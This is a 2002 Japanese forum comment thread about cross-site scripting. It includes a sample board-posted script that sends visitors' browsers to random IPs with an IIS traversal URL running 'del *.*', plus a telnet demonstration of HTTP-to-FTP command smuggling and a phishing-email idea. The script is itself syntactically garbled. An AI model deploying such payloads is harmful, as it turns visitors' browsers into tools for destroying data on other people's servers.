パスワードを忘れた? アカウント作成
この議論は賞味期限が切れたので、アーカイブ化されています。 新たにコメントを付けることはできません。

The Cross Site Scripting FAQ」記事へのコメント

  • by Anonymous Coward
    XSSで引き起こされる被害というのは、大きく分けて
    • Cookieを盗まれる
    • ブラウザのセキュリティホールを突いてクライアントにいらん事される(ファイルを読み出されたり消されたり実行ファイルを突っ込まれたり)

    という2種類ですよね。
    前者に付いては、要は「Cookieを盗まれても大丈夫」な仕組みにしておけば問題ない。
    たとえば、セッションキーをCookieで保持するようにしているのであれば、そのセッションキーを生成する時にクライアントのIPアドレスを含むデータをMD5して作るとかすれば、他のIPアドレスからのセッションハイジャックは検出できる。

    • >* Cookieを盗まれる
      >* ブラウザのセキュリティホールを突いてクライアントにいらん事される
      >(ファイルを読み出されたり消されたり実行ファイルを突っ込まれたり)
      これはあくまでXSSで引き起こされる被害の一部です。
      ブラウザで可能なことであればほとんど出来ると思います。
      例えば、クロスサイトスクリプトの問題がある掲示板に以下のようなコー
      ドを含んだ発言を書き込めば、この掲示板を開いたブラウザは勝手に任
      意のサーバーに攻撃を仕掛けることが可能になります。
      <script>
      ip = Math.round(Math.random()*253+1)+"." + Math.round(Math.random()*255) + "." + Mathround(Math.eandom()*255) + ".Math.round(Math.random()*253+1);
       window.open("http://"+ip+"/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+del+*.*");
      </script>
      この手の例で有名なのはfushianaさんトラップがありますよね?まあ
      ちょっと考えればこれを利用してワームを作ることも可能でしょう。
      ちなみに、クリックすることで起動可能にするのであれば、FTPやSMTP
      などについても攻撃可能にすることは可能だと思われます。TEXTエリア
      に必要なコマンドを埋め込み、http://hoge.com:21/にPOSTで送信す
      れば。。。
      では、掲示板タイプでないものであれば安全か?と言うとそういうこと
      もないと思います。インパクトがあるのは書き換えですよね。そのほか
      にも踏み台として利用したりてことが考えられます。

      ところで、ECサイト等のクロスサイトスクリプトには怪しいページか
      らのリンクでなければ問題ないと言うのがありますが、なにも怪しいペ
      ージからのリンクでなくてもメールを利用してしまえば簡単に悪意ある
      コードを実行させることが可能だと思います。
      例えば、「プレゼントセール実施中」等というメールにコードを含んだ
      リンクを埋め込んでおけばたいていの人は引っかかるのではないでしょ
      うか?
      XSSを使えば自分の手を汚さないで結構悪いことが出来るので危険だと
      思うのですが世間一般の認識はなんか低いですよねぇ?
      親コメント
      • コードが消えてしまったみたいなので...。
        サンプルコードはこうなります。
        <script>
        ip = Math.round(Math.random()*253+1)+"." + Math.round(Math.random()*255) + "." + Mathround(Math.eandom()*255) + ".Math.round(Math.random()*253+1);  window.open("http://"+ip+"/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+del+*.*");
        </script>
        親コメント
        • 「コードが消えてしまった」のではなく、そのまま
          <script>....</script>
          が書き込めてしまったようですね。HTMLソースを参照。

          どうしてだろう?<script>は削除されるようになっているはずなのに。
          バグのようですが、再現方法がわからない。

          今 #96960にアクセスすると、スクリプトエラーが出るよ。
          エラーでよかった。本当にヤバいコードだから、動いていたら大変なところだった。
          親コメント
        • </script> ←ここには</script>を埋め込んでいます。
          ページが途切れる問題が発生したのを緊急回避するためです。
          親コメント
        • ガガーン!再現してしまった。プレビューでは問題なかったのに、投稿したら問題が再現。
          #97122は、以下のように書いたのでした。(今回は全角文字にて回避)

          ========
          「コードが消えてしまった」のではなく、そのまま
          <script>...</script>
          が書き込めてしまったようですね。HTMLソースを参照。

          どうしてだろう?<script>は削除されるようになっているはずなのに。
          バグのようですが、再現方法がわからない。

          今 #96960にアクセスすると、スクリプトエラーが出るよ。
          エラーでよかった。本当にヤバいコードだから、動いていたら大変なところだった。
          ========

          しかも、二つ目の<script>に対応する</script>が無いために、ページがそこで途切れてしまう状態にもなってしまった。
          上の「←ここには</script>を埋め込んでいます。」というのはその対策です。(意味がわからない方は、HTMLソースを見てください。)

          バグ報告せねば…(汗
          親コメント
          • 二つ目の<script>に対応する</script>が無いために、ページがそこで途切れてしまう状態にもなってしまった。
            上の「←ここには</script>を埋め込んでいます。」というのはその対策です。
            この障害の影響で、現在、「古い順」以外の表示では、異常が発生する(ページの途中がすっぽ抜けて多数のコメントが消える)状態ですので、閲覧される方はご注意を。
            親コメント
          • うぎゃぁースクリプトが実行されていたんですか?いやぁ不幸中の幸いでエラーがあってよかったです^^;)。
            なぁんか出てないなぁと思い、ソースは見たんですが、実行されてなかったので(調べてみたら、JAVAscript実行できないようにしていたんで当然なんですが)気にもしなかったんです。

            さて、このような問題があってもXSSは大した問題じゃないという人はいるんでしょうか?まあ、JAVAScriptを実行しないようにしていれば問題ないんですけどね。
            親コメント
            • すっかり謝るのを忘れてました。皆さん、変なスクリプトを書いてしまってごめんなさい。
              別に、皆さんを陥れようと思ってやったわけじゃないんです。
              出きれば、#96960のスクリプト削除してもらえないですか?湖面と丸ごとでもいいです。お願いします。
              親コメント
          • バグ報告をしたところ、その日のうちに対策して頂きました。ありがとうございます。 ある形式でタグを書くと、プレビューではエスケープされて表示されていたのが、投稿されたコメントの表示ではエスケープされていなかったようです。これがエスケープされるように修正したとの連絡を頂いています。なお既に崩れてしまっている部分については、修正が大変とのこと。たしかにそうなのだろうとお察しします。お疲れです。
            親コメント
      • by gk-hyn (7889) on 2002年05月23日 20時34分 (#96974)
        http://hoge.com:21/にPOSTで送信すれば。。。
        httpと書いて有る以上、ブラウザはhttpでしゃべりにいくと思いますが。
        具体的には、POST / HTTP/1.1以下のHTTPヘッダが最初につきますし。
        そのようなものを、たとえばftp鯖がすんなり受け入れるとは思えないのですが
        親コメント
        • by ikepyon (613) on 2002年05月23日 20時41分 (#96979) 日記
          ところがどっこい。telnetを使ってftpなどに接続してみれば分かりますが、
          $ telnet localhost 21
          Trying 127.0.0.1...
          Connected to localhost.localdomain (127.0.0.1).
          Escape character is '^]'.
          220 ProFTPD 1.2.1 Server (ProFTPD) [hoge]
          GET / HTTP/1.0
          500 GET not understood.
          Host: fdsjkl
          500 HOST: not understood.
          Content-Length: 100
          500 CONTENT-LENGTH: not understood.

          USER hoge
          331 Password required for hoge.
          pass HOGE
          530 Login incorrect.

          とまぁ、間違ったコマンドは無視してしまうわけです。これをうまく使えば
          必要なコマンドを発行できるわけですね。これを多分securityfocusのメーリングリストだったと思いますが見たときはちょっと驚いてしまいました。
          親コメント

アレゲは一日にしてならず -- アレゲ研究家

処理中...